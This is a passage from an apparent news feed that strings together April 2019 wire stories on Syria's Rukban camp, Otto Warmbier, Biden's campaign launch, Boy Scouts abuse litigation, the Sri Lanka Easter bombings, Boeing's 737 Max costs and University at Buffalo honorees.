Rukban camp near Al-Tanf base used by the US-led coalition fighting the Islamic State group, after over 4,000 left between March and April 21. The Syrian government and key backer Russia said in February they had opened corridors out of the camp, calling on residents to leave. "Since March, over 7,300 people have left Rukban," OCHA spokesman David Swanson told AFP, including some 3,000 who left after April 21. Those who have quit the camp have moved to collective shelters in the central city of Homs or resettled in their areas of origin in the province of the same name, OCHA said Thursday. It said Rukban residents were organising their own transportation to the edge of a de-escalation zone established around Al-Tanf, from where they either continued in their vehicles or were transferred by private or government-provided vehicles to four collective shelters in Homs city. The Britain-based Syrian Observatory for Human Rights says those returning to government-held parts of Homs from Rukban had struck so-called "reconciliation deals" with the Syrian government. Conditions inside Rukban are dire, with many surviving on just one simple meal a day, often bread and olive oil or yoghurt, according to one resident. The camp has been particularly difficult to reach due to its location on the Jordanian border and the proximity of US forces and the rebels they support. In February, a humanitarian convoy of 133 trucks delivered food, clothes, healthcare items and medical supplies to the camp's residents. The February 6 delivery was just the second in three months. Syria's civil war killed more than 370,000 people and displaced millions since it started with the brutal repression of anti-government protests in 2011. US student Otto Warmbier was sentenced to 15 years hard labour in North Korea for stealing a propaganda poster at a hotel in Pyongyang President Donald Trump insisted Friday that the United States paid North Korea nothing for the release of Otto Warmbier, a young American student who fell into a coma after allegedly being tortured in the totalitarian country. On Thursday, The Washington Post quoted unidentified sources as saying that a US official was made to sign a pledge to pay $2 million in medical costs before being allowed to fly Warmbier back home from Pyongyang in 2017. The envoy signed the pledge on instructions from Trump, the Post reported. But in a tweet Friday, Trump said: "No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else." He then wrote, without saying where the quote came from: "President Donald J. Trump is the greatest hostage negotiator that I know of in the history of the United States. 20 hostages, many in impossible circumstances, have been released in last two years. No money was paid." Cheif (sic) Hostage Negotiator, USA!" Warmbier, a University of Virginia student, was imprisoned after being accused of taking down a propaganda poster in his hotel during a trip to North Korea. Doctors said he suffered severe brain damage while in North Korean detention, fell into a coma and died days after arriving back in the United States. North Korea denied claims by the Warmbier family that he had been tortured, saying he had contracted botulism. A coroner who examined Warmbier's body said: "We don't know what happened to him. That's the bottom line". Trump has made rapprochement with North Korea one of his signature policies and he has held two summits with North Korean leader Kim Jong Un. At their last meeting in Hanoi in February, Trump said he accepted Kim's claim not to have known what had happened to Warmbier in prison, despite the case being extraordinarily sensitive. "I will take him at his word," Trump said. Former US vice president Joe Biden is running for president in 2020, after mounting two unsuccessful campaigns for America's highest office Newly announced 2020 Democratic candidate Joe Biden faced scrutiny on multiple fronts Friday, as President Donald Trump knocked him for his age and an all-female panel questioned his past treatment of women. It was unlikely the rollout that the former vice president had expected on the first full day of his White House campaign, but the attention from Trump himself served to signal Biden's status as the leading challenger in a crowded field seeking to oust the current president. Biden's day in the public eye began with the 72-year-old Trump opening a fresh line of attack on his rival's age, saying Biden made him "look very young" by comparison. "I'm the youngest person. I am a young, vibrant man," a smiling Trump told reporters at the White House. "I look at Joe, I don't know about him," he said of Biden, who is 76 and would be the oldest person ever to serve as president. "I would never say anyone is too old, but I know they're all making me look very young both in terms of age and I think in terms of energy." Biden, speaking Friday on ABC's popular talk show "The View," acknowledged politics is a "show-me business" where voters assess not just a candidate's political platform, but his physical fitness for office. "If he looks young and vibrant compared to me I should probably go home," Biden said of the president. Trump is technically obese, has a penchant for fast food and avoids strenuous exercise. His doctor declared him healthy in February. Keen to paint Biden as unfit for the job, he has nicknamed his potential rival "Sleepy Joe." Biden presented himself as a vigorous candidate, insisting he was more like "hyper Joe." When he was asked Friday how he would beat Biden, whose working class appeal could help win back states Trump snatched in 2016 -- such as Michigan, Pennsylvania and Wisconsin -- the president was succinct: "I think we beat him easily." But Trump is watching Biden's rollout carefully. The former VP is angling to win back lower-income white voters who propelled Trump to the White House in 2016. Biden's opening campaign message Thursday featured a direct challenge to Trump's fitness for office, as he blasted his response to deadly white supremacist violence in Charlottesville, Virginia in 2017. - Sorry, not sorry - US President Donald Trump was propelled to victory in 2016 when he narrowly won states like Michigan, Pennsylvania and Wisconsin, but former vice president Joe Biden is positioning himself as the candidate who could win them back in 2020 On Friday it was Biden on the back foot, as he faced awkward questions about his past actions -- and stopped short of making outright apologies for them. Multiple women have accused Biden this year of touching them inappropriately in the past, and while they have not said the elder statesman sexually harassed them, his tactile style and invasion of personal space has come under increasing scrutiny in the #MeToo era. "So I invaded your space. I'm sorry this happened," Biden said, referring to his efforts to console or thank or inspire women he has met over the course of his half-century political career. "I'm not sorry in the sense that I think I did anything that was intentionally designed to do anything wrong or be inappropriate." Biden was also pressed on his handling of an infamous 1991 Senate hearing that involved testimony by Anita Hill, who was aggressively questioned by an all-male committee about her claims of sexual harassment. He said he recently called Hill to express regret over his handling of the hearings, but when asked by The View's hosts to apologize directly to her, he stopped short. "I don't think I treated her badly," Biden said, adding that he believed her claims of harassment "from the beginning." "There were a lot of mistakes made across the board. For that I apologize," he said. Biden's team was quick to refocus attention on the positive, announcing he raked in $6.3 million in the first 24 hours of the campaign, outpacing all other Democratic contenders on their opening days. NEW YORK (AP) - Sarah Jessica Parker and a British jeweler have settled a breach-of-contract lawsuit against the actress. Kat Florence Design sued Parker, arguing that she had agreed to promote a collaborative jewelry line of diamonds and other gems for a fee of $7.5 million but failed to live up to the obligation. Parker filed a lawsuit of her own, saying payments from the designer were "abruptly and without notice or explanation stopped" in October 2016. She said she was paid about $1.3 million. Details of the settlement in New York were not disclosed. "Kat Florence Design and Sarah Jessica Parker are pleased to have resolved their differences," the two said in a joint statement released Tuesday. "Kat's and Jessica's mutual appreciation for one another remains unwavering, and they are excited to resume their partnership." NEW YORK (AP) - The lawyers' ads on the internet aggressively seeking clients to file sexual abuse lawsuits give a taste of what lies ahead this year for the Boy Scouts of America: potentially the most fateful chapter in its 109-year history. Sexual abuse settlements have already strained the Boy Scouts' finances to the point where the organization is exploring "all available options," including Chapter 11 bankruptcy. But now the financial threats have intensified. The reason: States have been moving in recent months to adjust their statute-of-limitations laws so that victims of long-ago sexual abuse can sue for damages. New York state has passed a law that will allow such lawsuits starting in August. A similar bill in New Jersey has reached the governor's desk. Bills also are pending in Pennsylvania and California. In New York and elsewhere, lawyers are hard at work recruiting clients to sue the Boy Scouts, alleging they were molested as youths by scoutmasters or other volunteers. Plaintiffs' lawyers "recognize that this is a very unique and lucrative opportunity," said attorney Karen Bitar of the Seyfarth Shaw law firm. She formerly handled sex-crime cases as a prosecutor in Brooklyn before going into private practice defending institutions accused of employing alleged sex abusers. Attorney Tim Kosnoff, a veteran of major sexual abuse lawsuits against the Roman Catholic Church, said Tuesday that he and his team have signed up 186 clients from dozens of states in just the past few weeks who want to be part of litigation against the Boy Scouts. Kosnoff said 166 of them identified alleged abusers who have not been named in any of the Boy Scout files made public in past years. FILE - In this July 31, 2005 file photo, Boy Scouts salute as they recite the Pledge of Allegiance during the Boy Scout Jamboree in Bowling Green, Va. In 2019, financial threats to the Boy Scouts have intensified as multiple states consider adjusting their statute-of-limitations laws so that victims of long-ago child sex-abuse have a chance to seek redress in the courts. (AP Photo/ Haraz N. Ghanbari) Boy Scouts spokeswoman Effie Delimarkos said the organization continues to evaluate its financial situation, and she defended its current abuse-prevention policies. The organization serves more than 2.2 million youths. A bankruptcy by the Boy Scouts could be unprecedented in its complexity, potentially involving plaintiffs in virtually every state, according to several lawyers. It would be national in scope, unlike the various Catholic Church bankruptcy cases in the U.S., which have unfolded diocese by diocese. "A Boy Scout bankruptcy would be bigger in scale than any other sex abuse bankruptcy," said Seattle-based attorney Mike Pfau, whose firm is representing more than 300 victims in New York state. Jeffrey Schwartz, a New York-based bankruptcy expert with the firm McKool Smith, said the Boy Scouts don't have a particularly large flow of cash and might be forced to sell off property in bankruptcy. The Boy Scouts have extensive land holdings, including camping and hiking terrain. "They'll play for time," Schwartz said. "If their defense costs and settlement costs are greater than their membership fees, it could be a death spiral." However, Dallas-based trial attorney Michelle Simpson Tuegel, part of a team representing numerous sex abuse survivors, said bankruptcy might benefit the Boy Scouts and reduce any payouts to plaintiffs. "It can be a tool that these institutions use to shield assets and avoid having to reveal some information," she said. "In many ways, it's a disservice to victims." Illustrating the depth of its problems, the Boy Scouts filed lawsuits last year against six of its own insurers, saying they have improperly refused to cover some of the sex abuse liabilities incurred by the organization. The insurers say the coverage obligation is voided because the Boy Scouts failed to take effective preventive measures such as warning parents that scouts might be abused. The suits are still pending. The intensifying pressures on the Boy Scouts coincide with the mounting threats to the U.S. Catholic Church in regard to its own long-running sex abuse scandal. Catholic bishops will be meeting in Baltimore in June to discuss the next steps. Both the church and the Boy Scouts are iconic, historically well-respected institutions now known as having been magnets for pedophiles trying to exploit the trust of boys and their parents. "When you cloak people in badges of respect, you create the perfect opportunity for bad people to get access to children," said Chris Hurley, whose Chicago law firm is representing 11 former scouts in sex abuse trials scheduled on a monthly basis this year. Another common denominator for the Catholic Church and Boy Scouts: Both kept voluminous secret files with names of suspected abusers, yet balked at sharing the information with the public. Since the 1920s, the Boy Scouts have been compiling "ineligible files," which list adult volunteers considered to pose a risk of child molestation. About 5,000 of these files have been made public as a result of court action; others remain confidential. Delimarkos said when any BSA volunteer is added to the database for suspected abuse, "they are reported to law enforcement, removed entirely from any Scouting program and prohibited from re-joining anywhere." Minnesota-based attorney Jeff Anderson, who had led many lawsuits against the Catholic Church, released a court deposition in New York on Tuesday in which an expert hired by the Boy Scouts said she tallied 7,819 individuals in the "ineligible files" as of January, as well as 12,254 victims. Anderson expressed hope that litigation triggered by New York's new Child Victims Act would increase pressure on the Boy Scouts to make public more of the still-confidential files. Some of the files were ordered released after a 2010 sexual abuse case in Portland, Oregon, that led to a nearly $20 million judgment against the Boy Scouts on behalf of a man molested by a Scout leader in the 1980s. Paul Mones, the plaintiff's lawyer in that case, said there are no overall figures on Boy Scout abuse settlements because the details are kept confidential. Both the Boy Scouts and the Catholic Church say they now have policies in place to sharply curtail abuse that abounded in past decades. In the Boy Scouts ' case, the steps included requiring criminal background checks for all staff and volunteers, and requiring two or more adult leaders be present with youth at all times during scouting activities. COLOMBO, Sri Lanka (AP) - Sri Lanka's president shook up the country's top security establishment after officials failed to act on intelligence reports warning of possible attacks before the Easter bombings that killed over 350 people, his office said Wednesday. The capital of Colombo, meanwhile, remained rattled by reports that police were continuing to conduct controlled detonations of suspicious items three days after the attacks on churches and luxury hotels, and the U.S. ambassador said that Washington believes "the terrorist plotting is ongoing." During a televised speech to the nation Tuesday night, President Maithripala Sirisena said he would change the head of the defense forces within 24 hours, and on Wednesday he asked for the resignations of the defense secretary and national police chief in a dramatic internal shake-up. He did not say who would replace them. Sirisena said he had been kept in the dark on the intelligence about the planned attacks and vowed to "take stern action" against officials who failed to share it. Government leaders have acknowledged that some intelligence units were aware of possible attacks weeks before the bombings that struck three churches and three luxury hotels. The death toll rose Wednesday to 359, with 500 people wounded. Police spokesman Ruwan Gunasekara also said 18 suspects were arrested overnight, raising the total detained to 58. Sri Lankan authorities have blamed a local extremist group, National Towheed Jamaat, whose leader, alternately named Mohammed Zahran or Zahran Hashmi, became known to Muslim leaders three years ago for his incendiary online speeches. On Wednesday, junior defense minister Ruwan Wijewardene said the attackers had broken away from National Towheed Jamaat and another group, which he identified only as "JMI." A Sri Lankan police officer patrols out side a mosque in Colombo, Sri Lanka, Wednesday, April 24, 2019. The Islamic State group has claimed responsibility for the Sri Lanka attacks on Easter Sunday and released images that purported to show the attackers. Prime Minister Ranil Wickremesinghe said that investigators were still determining the extent of the bombers' foreign links. (AP Photo/Eranga Jayawardena) The Islamic State group has claimed responsibility for the attacks. Authorities remain unsure of the group's involvement, though authorities are investigating whether foreign militants advised, funded or guided the local bombers. Wijewardene said many of the suicide bombers were highly educated and came from well-to-do families. "Their thinking is that Islam can be the only religion in this country," he told reporters. "They are quite well-educated people," he said, adding that at least one had a law degree and some may have studied in the U.K. and Australia. A British security official has confirmed a report that a suicide bomber who is believed to have studied in the U.K. between 2006 and 2007 was Abdul Lathief Jameel Mohamed. The security official, who spoke on condition of anonymity because of the sensitive nature of the investigation, said British intelligence was not watching Mohamed during his stay in the country. His name was first reported by Sky News. A team of FBI agents and U.S. military officials were helping in the investigation, said U.S. Ambassador Alaina Teplitz. She told reporters that "clearly there was some failure in the system," but said the U.S. had no prior knowledge of a threat before the attacks, the worst violence in the South Asian island nation since its civil war ended a decade ago. Teplitz called that breakdown in communication among Sri Lankan officials "incredibly tragic." The U.S. remains concerned over militants still at large and it believes "the terrorist plotting is ongoing," Teplitz said, adding that Americans in Sri Lanka should continue to be careful. Although no more bombs were found Wednesday, Sri Lanka has been on heightened alert since the attacks, with police setting off a series of controlled explosions of suspicious objects. The military has been given sweeping police powers it last used during a devastating civil war that ended in 2009. Government statements about the attacks have been confused and sometimes contradictory, with Gunasekara, the police spokesman, telling reporters that there were nine suicide bombers - two more than officials said one day earlier. One of the additional bombers was the wife of another bomber, he said. The woman, two children and three policemen died in an explosion as authorities closed in on her late Sunday, hours after the main attacks were launched. The ninth suicide bomber has not been identified, though two more suspects were killed in a later explosion on the outskirts of Colombo. Prime Minister Ranil Wickremesinghe edged away from comments made by his state minister of defense that the bombings were carried out in apparent retaliation for the March 15 mosque shootings in Christchurch, New Zealand, that killed 50 people. He told reporters Wednesday that the mosque attack may have been a motivation for the bombings, but that there was no direct evidence of that. An Australian white supremacist was arrested in the Christchurch shootings. While Sri Lanka's recent history has been rife with ethnic and sectarian conflict, the Easter bombings still came as a shock to the country of 21 million. It is dominated by Sinhalese Buddhists but also has a significant Tamil minority, most of whom are Hindu, Muslim or Christian. Tamil Tiger rebels were known for staging suicide bombings during their 26-year civil war for independence, but religion had little role in that fighting. The Tigers were crushed by the government in 2009. Anti-Muslim bigotry fed by Buddhist nationalists has swept the country since the war ended but Sri Lanka has no history of Islamic militancy. Its small Christian community has seen only scattered incidents of harassment. ___ Associated Press writers Bharatha Mallawarachi and Jon Gambrell in Colombo and Gregory Katz in London contributed. A police motorcycle leads the coffins to a burial ground during a mass burials for Easter Sunday bomb blast victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Gemunu Amarasinghe) A priest conducts religious rituals during a mass burial for Easter Sunday bomb blast victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. (AP Photo/Gemunu Amarasinghe) A priest conducts religious rituals during a mass burial for Easter Sunday bomb blast victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. (AP Photo/Gemunu Amarasinghe) Relatives carry a coffin for burial during a mass burial for Easter Sunday bomb blast victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. (AP Photo/Gemunu Amarasinghe) A security officer stands guard outside St. Anthony's Shrine where bombing was carried out on Easter Sunday, in Colombo, Sri Lanka, Wednesday, April 24, 2019. (AP Photo/Gemunu Amarasinghe) A priest conducts religious rituals during a mass burial for Easter Sunday bomb blast victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. (AP Photo/Gemunu Amarasinghe) A Sri Lankan police officer announces security warnings urging people to be cautious over abandoned vehicles and parcels in a street outside a mosque in Colombo, Sri Lanka, Wednesday, April 24, 2019. The Islamic State group has claimed responsibility for the Sri Lanka attacks on Easter Sunday and released images that purported to show the attackers. Prime Minister Ranil Wickremesinghe said that investigators were still determining the extent of the bombers' foreign links. (AP Photo/Eranga Jayawardena) Officers of Special Task Force search for explosives ahead of mass burials at a burial ground for Easter Sunday bomb blast victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. (AP Photo/Gemunu Amarasinghe) Buddhist monks pray during a ceremony to invoke blessings on the dead and wounded from Sunday's bombings at the Kelaniya temple in Colombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Manish Swarup) Relatives rest their heads on a coffin as a woman places soil on a coffin during a mass burials for the Easter Sunday bombing victims in Negombo, Sri Lanka, Wednesday, April 24, 2019. Sri Lanka's president has asked for the resignations of the defense secretary and national police chief, a dramatic internal shake-up after security forces shrugged off intelligence reports warning of possible attacks before Easter bombings that killed over 350 people, the president's office said Wednesday. (AP Photo/Gemunu Amarasinghe) Boeing is already estimating a $1 billion increase in costs related to its troubled 737 Max and has pulled its forecast of 2019 earnings because of uncertainty surrounding the jetliner, which remains grounded after two crashes that killed 346 people. The $1 billion figure is a conservative starting point. It covers increased production costs over the next few years but does not include the company's spending to fix software implicated in the crashes, additional pilot training, payments to airlines for grounded jets, or compensation for families of the dead passengers. The estimate was disclosed Wednesday in a presentation for investors as Boeing released first-quarter financial results, which missed Wall Street expectations. While lacking many details, the disclosures gave the clearest picture yet of the financial damage that the accidents are causing to the aerospace giant. Boeing CEO Dennis Muilenburg repeated that the company is making progress on updating key flight-control software in the Max with the goal of convincing regulators to let the plane fly again. Chicago-based Boeing Co. said its previously issued full-year guidance didn't account for 737 Max impacts. It plans to issue new guidance at a future date. FILE - In this April 10, 2019, file photo a Boeing 737 MAX 8 airplane being built for India-based Jet Airways lands following a test flight at Boeing Field in Seattle. Boeing Co. reports earnings Wednesday, April 24. (AP Photo/Ted S. Warren, File) The company also said it is suspending stock buybacks. Boeing spent $2.3 billion in the first quarter to buy its own stock, which is designed to make remaining shares more valuable. Investors and consumers have been scrutinizing Boeing since Max jets crashed in October and March. The accidents have damaged the company's reputation for safety, caused the worldwide grounding of about 370 Max jets, and raised questions about the U.S. government's approval of the plane in 2017. In January, Boeing projected full-year adjusted earnings of about $20 a share. After the company's announcement that it was cutting production of the Max, however, analysts had dropped their forecast all the way to $16.40 on average, according to FactSet. On a conference call, Muilenburg defended the company after an analyst asked how Boeing got in this spot. The CEO disputed the notion that Boeing engineers and federal regulators may not have fully understood how pilots would interact with new anti-stall software called MCAS. "There was no surprise or gap or unknown here, or something that somehow slipped through a certification process," Muilenburg said. "We also know there are areas where we can improve," he added, explaining why Boeing is now upgrading MCAS with changes that will limit the software's ability to automatically force the plane's nose down powerfully in some circumstances. Executives gave no update on a timetable for regulatory approval of the software fix and pilot-training program. The company has completed test flights, and the next crucial step is a certification flight with Federal Aviation Administration representatives on board. Preliminary reports indicate that faulty sensor readings triggered MCAS and pushed the nose down in both the Oct. 29 crash of a Lion Air jet off the coast of Indonesia and the March 10 crash of an Ethiopian Airlines Max. Boeing began working on a software fix immediately after the first crash. Foreign regulators are expected to take longer than FAA to approve resumed flights. When that happens, Boeing says it has a plan to win over passengers who are reluctant to get back on a Max jet, but admits it will take time for travelers to regain confidence in the plane. "We think a key voice in all of this will be the pilots for our airlines," Muilenburg said. "That bond between the passenger and the pilot is one that is critical." Dennis Tajer, a 737 pilot and union spokesman at American Airlines, said that "if and when we are confident in the Max we will do more than speak publicly about it, we will be right there with our passengers." Tajer said Muilenburg, airline CEOs and regulators should show their faith in the Max by flying on it too, perhaps with their families. Boeing reported first quarter net earnings of $2.15 billion, down $328 million or 13% from a year earlier. Revenue slid $465 million or 2%, to $22.92 billion, on fewer deliveries of 737s. Profit adjusted to exclude non-repeating items was $3.16 per share. Analysts surveyed by FactSet expected $3.19 per share on revenue of $22.94 billion, and both of those forecasts had been reduced considerably in the past month. Boeing has about 4,600 unfilled orders for the Max. After the planes were grounded and no more were being delivered to airliners, the company cut its production from 52 to 42 a month, at least temporarily jeopardizing plans to boost production to 57 planes a month this summer. Goldman Sachs analyst Noah Poponak said the impact of the Max grounding was earlier and larger than he had expected. UBS analyst Myles Walton said the company's estimate of a $1 billion hit from the Max situation was "likely below the low end of anyone's thinking." Still, Boeing stock should get a boost, he added, when the company submits its work to the FAA for certification, likely in the next couple weeks. The shares rose $1.44 to close at $375.46. Despite a recent slump, the stock has gained 16.4% this year and is up 4.5% since the first fatal crash. ___ David Koenig can be reached at http://twitter.com/airlinewriter FILE - In this April 9, 2019, file photo a Boeing 737 fuselage, eventually bound for Boeing's production facility in nearby Renton, Wash., sits on a flatcar rail car at a rail yard as a jet flies past overhead in Seattle. Boeing Co. reports earnings Wednesday, April 24. (AP Photo/Elaine Thompson, File) Hopkins to receive Norton Medal, UBs highest honor, at commencement BUFFALO, N.Y. L. Nelson Hopkins, SUNY Distinguished Professor of Neurosurgery who has transformed the way the medical field thinks about and treats cerebrovascular disorders, will be awarded the Chancellor Charles P. Norton Medal, UBs highest honor, during the universitys 2019 commencement ceremonies being held May 3-19. Amit Goyal, SUNY Empire Innovation Professor and founding director of UBs RENEW Institute, and Amanda Nickerson, professor in the Graduate School of Education and director of the Alberti Center for Bullying Abuse Prevention, will receive the UB Presidents Medal in recognition of extraordinary service to the university. Also this commencement season, SUNY honorary doctorates will be presented to four UB alumni: Julio M. Fuentes, JD 75, senior U.S. Circuit Court judge, U.S. Court of Appeals, Third Circuit; Rebecca J. McCormick-Boyle, BS 81, rear admiral and commander, Nurse Corps (retired), U.S. Navy; Donald Pinkel, MD 51, founding director of St. Jude Childrens Research Hospital; and Ashutosh Sharma, PhD 88, secretary of the Department of Science and Technology, Government of India. The Chancellor Charles P. Norton Medal is presented annually in public recognition of a person who has, in Nortons words, performed some great thing which is identified with Buffalo a great civic or political act, a great book, a great work of art, a great scientific achievement or any other thing which, in itself, is truly great and ennobling, and which dignifies the performer and Buffalo in the eyes of the world. L. Nelson Hopkins will receive the Norton Medal at the Jacobs School of Medicine and Biomedical Sciences commencement ceremony on May 3. As one of the founding figures of endovascular treatment for neurovascular disorders, Hopkins has redefined the field of vascular neurosurgery in stroke management and lesion stenting. In the process, he has trained a new generation of neurosurgeons in catheter-based technology for minimally invasive neurosurgery. Hopkins innovations in endovascular surgery serve as the benchmark for therapeutic endovascular intervention. An advocate of cross-specialty collaboration, Hopkins fostered the creation of UBs Toshiba (now Canon) Stroke & Vascular Research Center. He also conceived a new way to organize the multidisciplinary treatment of vascular disease, working with experts from around the world to design the Gates Vascular Institute. Hopkins then recruited the necessary partners to bring it and the Jacobs Institute a non-profit dedicated to accelerating the development of next-generation technologies in vascular medicine to life. He currently is chief scientific officer of the Jacobs Institute, after serving as chair of the Department of Neurosurgery from 1989-2013. He joined the UB faculty in 1975. Hopkins has served on the board of directors of the American Association of Neurological Surgeons (AANS) and on the executive committee of the Stroke Council of the American Heart Association. A past president of the American Academy of Neurological Surgery, he is a former chairman of the scientific and annual meetings of AANS and the Congress of Neurological Surgeons, and of the Joint Section on Cerebrovascular Surgery. The UB Presidents Medal, first presented in 1990, recognizes outstanding scholarly or artistic achievements, humanitarian acts, contributions of time or treasure, exemplary leadership or any other major contribution to the development of the University at Buffalo and the quality of life in the UB community. Amit Goyal, an internationally recognized materials scientist and energy researcher, will receive the Presidents Medal at the School of Engineering and Applied Sciences graduate commencement ceremony on May 17. Goyal was elected to the National Academy of Engineering in 2018 for his groundbreaking scientific advances and technological innovations that enabled the worldwide commercialization of high-temperature superconductors. He joined UB in 2015 to direct RENEW, an interdisciplinary institute that harnesses the expertise of more than 100 faculty in seven UB schools and colleges to explore solutions to globally pressing energy and environmental problems, as well as the social and economic issues with which they are connected. His leadership has placed UB at the forefront of efforts to reduce water and air pollution, and to find innovative, clean ways to produce, transmit and store energy. Prior to joining UBs faculty, Goyal was a corporate fellow and distinguished scientist at Oak Ridge National Laboratory. Goyal has developed clean energy technologies for more than two decades. He has authored more than 350 technical publications. Thompson-Reuters Essential Science Indicators (ESI) and ScienceWatch.com, which track global trends and performance in research, ranked him as most-cited author worldwide in the field of high-temperature superconductivity from 1999-2009. A fellow of the National Academy of Inventors, he has 87 issued patents with more than 20 patents pending. He has received numerous accolades, including the U.S. Department of Energys E.O. Lawrence Award in the inaugural category of Energy Science & Innovation, an award that the DOE secretary bestows on behalf of the president. Other key honors include TEN R&D 100 awards, which are widely regarded as the Oscars for Innovation; the 2010 R&D 100 Magazines Innovator of the Year Award; the Energy-100 Award for the finest 100 scientific accomplishments of the DOE since the department opened its doors in 1977; and the Massachusetts Institute of Technologys Technical Review TR100 Award. An elected fellow of eight professional societies, Goyal is founder and president of a private equity-funded solar photovoltaics company, and an intellectual property holding and consulting company. Amanda Nickerson, professor in the GSEs Department of Counseling, School and Educational Psychology, will receive the Presidents Medal at the Graduate School of Educations commencement ceremony on May 17. Nickersons research focuses on school crisis prevention and intervention, with a particular emphasis on violence and bullying. She studies the role of schools, parents and peers in preventing violence and enhancing the social-emotional strengths of children and adolescents. A fellow of the American Psychological Association, Nickerson has received numerous honors for her work, including the Presidential Award from the National Association of School Psychologists (NASP) and UBs Exceptional Scholar: Sustained Achievement Award. The author of five books and more than 95 journal articles and book chapters, she has delivered hundreds of presentations to educators and mental health professionals, nationally and internationally. Her research has been funded by the National Institutes of Health, the American Educational Research Association, Committee for Children and New York state agencies. Nickerson is a member of the editorial boards of the Journal of School Psychology and School Psychology Review, among others, and has served as the associate editor of the Journal of School Violence. She also is coordinator of research for NASPs Safety and Crisis Prevention Committee and served on Gov. Andrew Cuomos Suicide Prevention Task Force. She has collaborated with schools and agencies to guide them in using data to help prevent bullying and violence, and improve social-emotional and behavioral functioning. Julio M. Fuentes has distinguished himself as a lawyer and jurist who has earned the highest degree of respect and admiration from his colleagues on the bench and in the bar. Nominated by former President Bill Clinton to the U.S. Court of Appeals, he is the first Hispanic judge to serve the Third Circuit. In his position, he hears appeals on criminal and civil issues arising from all district courts in New Jersey, Pennsylvania, Delaware and the Virgin Islands. Fuentes will receive a SUNY Honorary Doctorate in Laws at the School of Laws commencement ceremony on May 19. A 1975 graduate of the School of Law, Fuentes began his legal career in private practice. He then served as a judge in the Newark Municipal Court and the New Jersey Superior Court before his unanimous confirmation to the Third Circuit in 2000. A native of Puerto Rico, he has demonstrated a steadfast commitment to the advancement of minority attorneys throughout his career. He works closely with his alma mater to mentor and hire UB law students; to date, he has hired seven UB law graduates as law clerks and 33 student interns, providing them with invaluable experience from a highly esteemed jurist who leads by example. For more than a decade, he has also served the law school as a member of the Deans Advisory Council. During her distinguished 36-year career in the U.S. Navys Nurse Corps, Rebecca J. McCormick-Boyle was a dedicated leader who demonstrated a sustained and purposeful commitment to the health needs of the nation and its military populations. Through her outstanding achievements and expertise in quality management, diversity management and the patient experience, McCormick-Boyle made a tremendous difference not only in Navy medicine, but in how health care is delivered to our service members across the Department of Defense. She will receive a SUNY Honorary Doctorate in Science at the School of Nursings commencement ceremony on May 17. A fellow of the American Academy of Nursing, McCormick-Boyle credits the UB School of Nursing with preparing her to serve others with care and compassion. Her numerous career accomplishments include leading early efforts to establish Navy Medicines primary care model; playing a pivotal role in coordinating humanitarian assistance, disaster relief and contingency support activities; and planning and providing oversight for Navy health care and readiness missions in the air, on the sea, on the battlefield and in 16 hospitals and 189 clinics. Her ability to leverage and lead more than 5,000 nurses and establish the Navy Nurse Professional Practice Model which ensures that all Navy nursing personnel understand their scope of practice and professional development throughout their careers is unprecedented. Donald Pinkel, a pioneering pediatric oncologist, will receive a SUNY Honorary Doctorate in Science in absentia at the Jacobs Schools commencement on May 3. Michael Cain, vice president for health sciences and dean of the Jacobs School, will accept the award on Pinkels behalf. Pinkel is world-renowned for developing the first curative drug treatment for acute lymphoblastic leukemia (ALL) the most common type of cancer in children and a disease once considered virtually untreatable. For his seminal achievements, he was honored in 1972 with the Lasker Award, often referred to as Americas Nobel Prize. Pinkel also helped develop and prove the efficacy of a public health initiative that led to the formation of a supplemental food program for women and children that was adopted by the U.S. Department of Agriculture. Now known as WIC, this program is widely praised as one of the nations most successful and cost-effective nutrition interventions. After graduating from the Jacobs School, Pinkel began his career in pediatrics as an intern, resident and chief resident at the Childrens Hospital of Buffalo, now the John R. Oishei Childrens Hospital. While there, he developed his interest in hematology and oncology, starting the hospitals first oncology service and clinic. Throughout his career, he integrated clinical care and basic research protocols. He is a passionate advocate for children and a trailblazer in the research and treatment of a once-incurable disease. His groundbreaking work has enhanced not only the lives of patients with ALL, but of those with other childhood cancers and several adult malignancies as well. One of the most distinguished scientists in India, Ashutosh Sharma will receive a SUNY Honorary Doctorate in Science at the School of Engineering and Applied Sciences graduate commencement ceremony on May 17. An internationally renowned chemical engineer, Sharma has conducted groundbreaking interdisciplinary research that has changed our understanding of thin film instabilities and self-organized micro- and nano-patterning. His work has broadly impacted fundamental and applied science and engineering, particularly in the area of nanoscience. He also helped initiate more than 20 new national programs in frontier areas of science and technology. A professor of chemical engineering at the Indian Institute of Technology Kanpur, Sharma is the founding coordinator of its Center for Nanoscience and Center for Imaging. As a steadfast champion of science in service of the public good, he vigorously advocates for Indias scientific advancement, serving as a role model to young engineers aspiring to make a difference. Beyond his numerous outstanding scholarly achievements, Sharma is strongly loyal to his alma mater. He has returned to Buffalo to lecture at UB on several occasions, and his department also implemented a new doctoral fellowship program for Indian students abroad in which UB has been a participant. HOUSTON (AP) - After touring the National Lynching Memorial recently, former Colorado Gov. John Hickenlooper spoke of the "shame" he felt that some white people "kind of looked the other way during these lynching incidents." Former U.S. Rep. Beto O'Rourke of Texas has acknowledged he "clearly had advantages" as a white man. Sen. Elizabeth Warren of Massachusetts has said that any struggle she faced as a single mom was much more challenging for black women. U.S. Rep. Tim Ryan of Ohio has talked about not knowing many black people when he was growing up. And Mayor Pete Buttigieg of South Bend, Indiana, recently said , "Any white candidate needs to show a level of consciousness around issues like white privilege." Such rhetoric surrounding race is becoming what Democratic strategist Joel Payne called a "woke litmus test" for any white person who wants to win the Democratic presidential nomination. In a field celebrated for its historic racial and gender diversity, white candidates are talking about systemic racism and white privilege to connect with voters of color and prove that America's racial divisions aren't lost on them. "All candidates, especially nonethnic minority candidates, need to be fluent in the issues that matter most to black America - police brutality, criminal justice reform, reparations, social justice," said Payne, an alumnus of Hillary Clinton's 2016 presidential campaign. White presidential 